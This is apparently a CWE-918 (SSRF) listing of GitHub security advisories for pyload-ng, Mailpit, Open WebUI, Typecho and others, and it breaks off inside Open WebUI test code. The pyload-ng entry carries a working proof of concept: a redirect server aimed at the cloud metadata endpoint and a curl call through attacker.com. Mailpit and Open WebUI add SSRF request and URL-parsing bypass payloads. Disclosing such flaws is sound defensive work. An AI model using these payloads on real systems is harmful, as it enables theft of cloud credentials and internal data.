Common Weakness Enumeration
CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4863 vulnerabilities reference this CWE, most recent first.
GHSA-8RJ6-JXXP-67PG
Vulnerability from github – Published: 2026-04-26 09:32 – Updated: 2026-04-26 09:32
VLAI
Details
A vulnerability was found in Typecho up to 1.3.0. This vulnerability affects the function Service::sendPingHandle of the file var/Widget/Service.php of the component Ping Back Service Endpoint. The manipulation of the argument X-Pingback/link results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-7025"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-26T08:16:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Typecho up to 1.3.0. This vulnerability affects the function Service::sendPingHandle of the file var/Widget/Service.php of the component Ping Back Service Endpoint. The manipulation of the argument X-Pingback/link results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-8rj6-jxxp-67pg",
"modified": "2026-04-26T09:32:36Z",
"published": "2026-04-26T09:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7025"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/797772"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359605"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359605/cti"
},
{
"type": "WEB",
"url": "https://wang1rrr.github.io/2026/03/04/CVE-Report-Typecho-v1-3-0-SSRF"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8RP3-XC6W-5QP5
Vulnerability from github – Published: 2026-05-21 19:54 – Updated: 2026-06-09 10:20
VLAI
Summary
pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API
Details
Summary
The SSRF mitigation added in commit 33c55da for GHSA-7gvf-3w72-p2pg is incomplete. The PREREQFUNCTION-based private IP check was correctly applied to HTTPChunk (download path) but not to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL.
Details
The parse_urls API method validates the initial URL hostname:
# src/pyload/core/api/__init__.py:600-604
if url:
urlp = urlparse(url)
hostname = urlp.hostname
if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname):
page = get_url(url)
get_url() is imported from request_factory.py and creates an HTTPRequest with default settings:
# src/pyload/core/network/request_factory.py:58-64
def get_url(self, *args, **kwargs):
with HTTPRequest(None, self.get_options()) as h:
rep = h.load(*args, **kwargs)
return rep
HTTPRequest.__init__ sets allow_private_ip = True by default:
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = True
The init_handle() method enables redirect following:
# src/pyload/core/network/http/http_request.py:117-118
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)
The _pre_request_callback that should block redirects to private IPs is a no-op when allow_private_ip is True:
# src/pyload/core/network/http/http_request.py:574-582
def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):
if not self.allow_private_ip and not is_global_address(conn_primary_ip):
return pycurl.PREREQFUNC_ABORT
return pycurl.PREREQFUNC_OK
The fix at commit 33c55da correctly set allow_private_ip = False in HTTPChunk (http_chunk.py:136) for the download path, but HTTPRequest used by RequestFactory.get_url() retains the default of True, leaving the parse_urls API unprotected against redirect-based SSRF.
PoC
# Step 1: Start a redirect server on attacker-controlled host
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"
# Step 2: Authenticated user with ADD permission calls parse_urls
curl -X POST 'http://pyload-host:8000/api/parse_urls' \
-H 'Cookie: session=<valid_session>' \
-d 'url=http://attacker.com:8888/redirect'
# Expected flow:
# 1. is_global_host('attacker.com') -> True (passes validation)
# 2. get_url() creates HTTPRequest with allow_private_ip=True
# 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/
# 4. _pre_request_callback runs but skips check (allow_private_ip=True)
# 5. pycurl follows redirect to cloud metadata endpoint
# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker
Impact
An authenticated attacker with ADD permission can perform SSRF against:
- Cloud metadata endpoints (AWS IMDSv1 at
169.254.169.254, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets - Internal services on private networks (e.g.,
10.x.x.x,172.16.x.x,192.168.x.x) - Localhost services (
127.0.0.1) running on the pyload server
Data exfiltration is partially limited by the RE_URLMATCH regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The REDIR_PROTOCOLS setting limits redirects to HTTP/HTTPS only.
Recommended Fix
Set allow_private_ip = False in RequestFactory.get_url():
# src/pyload/core/network/request_factory.py
def get_url(self, *args, **kwargs):
with HTTPRequest(None, self.get_options()) as h:
h.allow_private_ip = False # Prevent SSRF via redirects
rep = h.load(*args, **kwargs)
return rep
Alternatively, change the default in HTTPRequest.__init__ to False:
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = False
The second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.
Severity
5.0 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev100"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46561"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T19:54:32Z",
"nvd_published_at": "2026-05-28T18:16:36Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL.\n\n## Details\n\nThe `parse_urls` API method validates the initial URL hostname:\n\n```python\n# src/pyload/core/api/__init__.py:600-604\nif url:\n urlp = urlparse(url)\n hostname = urlp.hostname\n if urlp.scheme in (\"http\", \"https\") and hostname and is_global_host(hostname):\n page = get_url(url)\n```\n\n`get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings:\n\n```python\n# src/pyload/core/network/request_factory.py:58-64\ndef get_url(self, *args, **kwargs):\n with HTTPRequest(None, self.get_options()) as h:\n rep = h.load(*args, **kwargs)\n return rep\n```\n\n`HTTPRequest.__init__` sets `allow_private_ip = True` by default:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = True\n```\n\nThe `init_handle()` method enables redirect following:\n\n```python\n# src/pyload/core/network/http/http_request.py:117-118\nself.c.setopt(pycurl.FOLLOWLOCATION, 1)\nself.c.setopt(pycurl.MAXREDIRS, 10)\n```\n\nThe `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`:\n\n```python\n# src/pyload/core/network/http/http_request.py:574-582\ndef _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):\n if not self.allow_private_ip and not is_global_address(conn_primary_ip):\n return pycurl.PREREQFUNC_ABORT\n return pycurl.PREREQFUNC_OK\n```\n\nThe fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF.\n\n## PoC\n\n```bash\n# Step 1: Start a redirect server on attacker-controlled host\npython3 -c \"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(302)\n self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/\u0027)\n self.end_headers()\nHTTPServer((\u00270.0.0.0\u0027, 8888), H).serve_forever()\n\"\n\n# Step 2: Authenticated user with ADD permission calls parse_urls\ncurl -X POST \u0027http://pyload-host:8000/api/parse_urls\u0027 \\\n -H \u0027Cookie: session=\u003cvalid_session\u003e\u0027 \\\n -d \u0027url=http://attacker.com:8888/redirect\u0027\n\n# Expected flow:\n# 1. is_global_host(\u0027attacker.com\u0027) -\u003e True (passes validation)\n# 2. get_url() creates HTTPRequest with allow_private_ip=True\n# 3. pycurl fetches attacker.com:8888, receives 302 -\u003e http://169.254.169.254/latest/meta-data/\n# 4. _pre_request_callback runs but skips check (allow_private_ip=True)\n# 5. pycurl follows redirect to cloud metadata endpoint\n# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker\n```\n\n## Impact\n\nAn authenticated attacker with ADD permission can perform SSRF against:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) \u2014 potentially leaking IAM credentials, instance metadata, and secrets\n- **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`)\n- **Localhost services** (`127.0.0.1`) running on the pyload server\n\nData exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only.\n\n## Recommended Fix\n\nSet `allow_private_ip = False` in `RequestFactory.get_url()`:\n\n```python\n# src/pyload/core/network/request_factory.py\ndef get_url(self, *args, **kwargs):\n with HTTPRequest(None, self.get_options()) as h:\n h.allow_private_ip = False # Prevent SSRF via redirects\n rep = h.load(*args, **kwargs)\n return rep\n```\n\nAlternatively, change the default in `HTTPRequest.__init__` to `False`:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = False\n```\n\nThe second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.",
"id": "GHSA-8rp3-xc6w-5qp5",
"modified": "2026-06-09T10:20:28Z",
"published": "2026-05-21T19:54:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46561"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API"
}
GHSA-8RQJ-9GXC-63CR
Vulnerability from github – Published: 2026-05-18 00:31 – Updated: 2026-05-18 00:31
VLAI
Details
A vulnerability was found in vercel ai up to 3.0.97. The affected element is the function validateDownloadUrl of the file packages/provider-utils/src/download-blob.ts of the component provider-utils. The manipulation results in server-side request forgery. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-8768"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-17T23:17:02Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in vercel ai up to 3.0.97. The affected element is the function validateDownloadUrl of the file packages/provider-utils/src/download-blob.ts of the component provider-utils. The manipulation results in server-side request forgery. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-8rqj-9gxc-63cr",
"modified": "2026-05-18T00:31:37Z",
"published": "2026-05-18T00:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8768"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/07d149bd68adbee58165b4207a2abc71"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/cf7e47e4dda392f474ca77a66d1d847f"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/811404"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/811405"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/364393"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/364393/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8RRR-W669-26RG
Vulnerability from github – Published: 2025-04-17 21:31 – Updated: 2025-04-21 18:32
VLAI
Details
An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the Upload function.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-29454"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T21:15:50Z",
"severity": "MODERATE"
},
"details": "An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the Upload function.",
"id": "GHSA-8rrr-w669-26rg",
"modified": "2025-04-21T18:32:08Z",
"published": "2025-04-17T21:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29454"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/cyql4n0xiubspntl"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8V65-47JX-7MFR
Vulnerability from github – Published: 2026-01-06 17:44 – Updated: 2026-02-02 14:51
VLAI
Summary
Mailpit Proxy Endpoint has Server-Side Request Forgery (SSRF) vulnerability
Details
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in Mailpit's /proxy endpoint that allows attackers to make requests to internal network resources.
Description
The /proxy endpoint allows requests to internal network resources. While it validates http:// and https:// schemes, it does not block internal IP addresses, allowing attackers to access internal services and APIs.
Proof of Concept
Basic SSRF Request
GET /proxy?url=http://127.0.0.1:8025/api/v1/info
This returns internal API data including database path and runtime statistics.
Impact Assessment
1. Internal Network Scanning
Attacker can probe and discover internal services on the network.
2. Information Disclosure
Access to internal API data, database paths, and runtime statistics.
3. Email Content Access
Ability to read all captured emails via internal API endpoints.
4. Cloud Metadata Access
If deployed in cloud environments (AWS/GCP/Azure), potential access to instance metadata services (e.g., http://169.254.169.254/).
Attack Scenarios
Scenario 1: Development Environment Exposure
If Mailpit is accidentally exposed to the internet, attackers can leverage SSRF to access internal development resources and services.
Scenario 2: Container Escape Information
In containerized deployments, SSRF can reveal container metadata and internal service configurations.
Scenario 3: Lateral Movement
In corporate networks, SSRF can be used to discover and interact with internal services, facilitating lateral movement.
Mitigating Factors
This vulnerability is limited to HTTP GET requests with minimal headers. Additionally, Mailpit's web UI & API should be protected by basic authentication when exposed to the internet, which prevents access to the proxy endpoint.
References
Severity
5.8 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.28.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.28.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21859"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-06T17:44:29Z",
"nvd_published_at": "2026-01-08T00:16:00Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in Mailpit\u0027s `/proxy` endpoint that allows attackers to make requests to internal network resources.\n\n\n## Description\n\nThe `/proxy` endpoint allows requests to internal network resources. While it validates `http://` and `https://` schemes, it does not block internal IP addresses, allowing attackers to access internal services and APIs.\n\n## Proof of Concept\n\n### Basic SSRF Request\n```\nGET /proxy?url=http://127.0.0.1:8025/api/v1/info\n```\n\nThis returns internal API data including database path and runtime statistics.\n \n## Impact Assessment\n\n### 1. Internal Network Scanning\nAttacker can probe and discover internal services on the network.\n\n### 2. Information Disclosure\nAccess to internal API data, database paths, and runtime statistics.\n\n### 3. Email Content Access\nAbility to read all captured emails via internal API endpoints.\n\n### 4. Cloud Metadata Access\nIf deployed in cloud environments (AWS/GCP/Azure), potential access to instance metadata services (e.g., `http://169.254.169.254/`).\n\n## Attack Scenarios\n\n### Scenario 1: Development Environment Exposure\nIf Mailpit is accidentally exposed to the internet, attackers can leverage SSRF to access internal development resources and services.\n\n### Scenario 2: Container Escape Information\nIn containerized deployments, SSRF can reveal container metadata and internal service configurations.\n\n### Scenario 3: Lateral Movement\nIn corporate networks, SSRF can be used to discover and interact with internal services, facilitating lateral movement.\n\n## Mitigating Factors\nThis vulnerability is limited to HTTP GET requests with minimal headers. Additionally, Mailpit\u0027s web UI \u0026 API should be protected by basic authentication when exposed to the internet, which prevents access to the proxy endpoint. \n\n## References\n\n- [MDN Web Security - SSRF Attacks](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/SSRF)\n- [CWE-918: Server-Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html)\n- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)",
"id": "GHSA-8v65-47jx-7mfr",
"modified": "2026-02-02T14:51:32Z",
"published": "2026-01-06T17:44:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21859"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/commit/3b9b470c093b3d20b7d751722c1c24f3eed2e19d"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4284"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mailpit Proxy Endpoint has Server-Side Request Forgery (SSRF) vulnerability"
}
GHSA-8V6J-VG6W-6WWJ
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details
langgenius/dify version 0.9.1 contains a Server-Side Request Forgery (SSRF) vulnerability. The vulnerability exists due to improper handling of the api_endpoint parameter, allowing an attacker to make direct requests to internal network services. This can lead to unauthorized access to internal servers and potentially expose sensitive information, including access to the AWS metadata endpoint.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-11822"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:25Z",
"severity": "MODERATE"
},
"details": "langgenius/dify version 0.9.1 contains a Server-Side Request Forgery (SSRF) vulnerability. The vulnerability exists due to improper handling of the api_endpoint parameter, allowing an attacker to make direct requests to internal network services. This can lead to unauthorized access to internal servers and potentially expose sensitive information, including access to the AWS metadata endpoint.",
"id": "GHSA-8v6j-vg6w-6wwj",
"modified": "2025-03-20T12:32:42Z",
"published": "2025-03-20T12:32:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11822"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/f3042029-5d4e-41c6-850d-bbe02fae6592"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8VFV-X5MF-26J9
Vulnerability from github – Published: 2022-05-14 02:01 – Updated: 2022-05-14 02:01
VLAI
Details
An SSRF vulnerability was discovered in idreamsoft iCMS 7.0.11 because the remote function in app/spider/spider_tools.class.php does not block DNS hostnames associated with private and reserved IP addresses, as demonstrated by 127.0.0.1 in an A record. NOTE: this vulnerability exists because of an incomplete fix for CVE-2018-14858.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2018-15895"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-27T04:29:00Z",
"severity": "HIGH"
},
"details": "An SSRF vulnerability was discovered in idreamsoft iCMS 7.0.11 because the remote function in app/spider/spider_tools.class.php does not block DNS hostnames associated with private and reserved IP addresses, as demonstrated by 127.0.0.1 in an A record. NOTE: this vulnerability exists because of an incomplete fix for CVE-2018-14858.",
"id": "GHSA-8vfv-x5mf-26j9",
"modified": "2022-05-14T02:01:42Z",
"published": "2022-05-14T02:01:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15895"
},
{
"type": "WEB",
"url": "https://github.com/idreamsoft/iCMS/issues/40"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8W4F-PQVP-553J
Vulnerability from github – Published: 2026-02-05 12:30 – Updated: 2026-02-05 12:30
VLAI
Details
The All In One Image Viewer Block plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.2 due to missing authorization and URL validation on the image-proxy REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
Severity
7.2 (High)
{
"affected": [],
"aliases": [
"CVE-2026-1294"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-05T10:16:03Z",
"severity": "HIGH"
},
"details": "The All In One Image Viewer Block plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.2 due to missing authorization and URL validation on the image-proxy REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-8w4f-pqvp-553j",
"modified": "2026-02-05T12:30:25Z",
"published": "2026-02-05T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1294"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/image-viewer/tags/1.0.2/image-viewer-block.php#L10"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3449642/image-viewer/tags/1.0.3/image-viewer-block.php?old=3405983\u0026old_path=image-viewer%2Ftags%2F1.0.2%2Fimage-viewer-block.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7c3f7108-eb32-425a-a705-4f032e7da6b0?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8W5J-Q5MJ-5JPV
Vulnerability from github – Published: 2025-04-23 18:30 – Updated: 2025-04-23 18:30
VLAI
Details
PostHog slack_incoming_webhook Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of PostHog. Authentication is required to exploit this vulnerability.
The specific flaw exists within the processing of the slack_incoming_webhook parameter. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-25352.
Severity
7.1 (High)
{
"affected": [],
"aliases": [
"CVE-2025-1521"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-23T17:16:52Z",
"severity": "HIGH"
},
"details": "PostHog slack_incoming_webhook Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of PostHog. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the processing of the slack_incoming_webhook parameter. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-25352.",
"id": "GHSA-8w5j-q5mj-5jpv",
"modified": "2025-04-23T18:30:58Z",
"published": "2025-04-23T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1521"
},
{
"type": "WEB",
"url": "https://github.com/PostHog/posthog/commit/6e8f035f9acd339c5ba87ba6ea40fc1ab3053d42"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-096"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8W7Q-Q5JP-JVGX
Vulnerability from github – Published: 2026-05-14 20:27 – Updated: 2026-05-15 23:55
VLAI
Summary
Open WebUI has a Server-Side Request Forgery (SSRF) bypass in `validate_url`
Details
Summary
In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.
Details
In the current project, URL validation is performed using the function validate_url.
The current checking logic uses urlparse to parse the hostname part of the URL for verification.
However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
urlparse()treats\as a regular character and@as the userinfo-host delimiter, so it extracts hostname as1.1.1.1(public)requeststreats\as a path character, connecting to127.0.0.1(internal)
Below is a test code I wrote following the open-webui code.
from __future__ import annotations
import ipaddress
import logging
import os
import socket
import urllib.parse
import urllib.request
from typing import Optional, Sequence, Union
import requests
log = logging.getLogger(__name__)
# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL
INVALID_URL = (
"Oops! The URL you provided is invalid. Please double-check and try again."
)
# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)
ENABLE_RAG_LOCAL_WEB_FETCH = (
os.getenv("ENABLE_RAG_LOCAL_WEB_FETCH", "False").lower() == "true"
)
_DEFAULT_WEB_FETCH_FILTER_LIST = [
"!169.254.169.254",
"!fd00:ec2::254",
"!metadata.google.internal",
"!metadata.azure.com",
"!100.100.100.200",
]
_web_fetch_filter_env = os.getenv("WEB_FETCH_FILTER_LIST", "")
if _web_fetch_filter_env == "":
_web_fetch_filter_env_list: list[str] = []
else:
_web_fetch_filter_env_list = [
item.strip()
for item in _web_fetch_filter_env.split(",")
if item.strip()
]
WEB_FETCH_FILTER_LIST = list(
set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)
)
def get_allow_block_lists(filter_list):
allow_list = []
block_list = []
if filter_list:
for d in filter_list:
if d.startswith("!"):
block_list.append(d[1:].strip())
else:
allow_list.append(d.strip())
return allow_list, block_list
def is_string_allowed(
string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None
) -> bool:
if not filter_list:
return True
allow_list, block_list = get_allow_block_lists(filter_list)
strings = [string] if isinstance(string, str) else list(string)
if allow_list:
if not any(s.endswith(allowed) for s in strings for allowed in allow_list):
return False
if any(s.endswith(blocked) for s in strings for blocked in block_list):
return False
return True
def resolve_hostname(hostname):
# Get address information
addr_info = socket.getaddrinfo(hostname, None)
# Extract IP addresses from address information
ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]
ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]
return ipv4_addresses, ipv6_addresses
def _validators_url_accept(url: str) -> bool:
"""
Stand-in for python-validators url(): True if string looks like http(s) URL with host.
"""
try:
u = url.strip()
if not u:
return False
p = urllib.parse.urlparse(u)
if p.scheme not in ("http", "https"):
return False
if not p.netloc:
return False
return True
except Exception:
return False
def _ipv4_private(ip: str) -> bool:
try:
a = ipaddress.ip_address(ip)
return a.version == 4 and a.is_private
except ValueError:
return False
def _ipv6_private(ip: str) -> bool:
try:
a = ipaddress.ip_address(ip)
return a.version == 6 and a.is_private
except ValueError:
return False
def validate_url(url: Union[str, Sequence[str]]):
if isinstance(url, str):
if not _validators_url_accept(url):
raise ValueError(INVALID_URL)
parsed_url = urllib.parse.urlparse(url)
# Protocol validation - only allow http/https
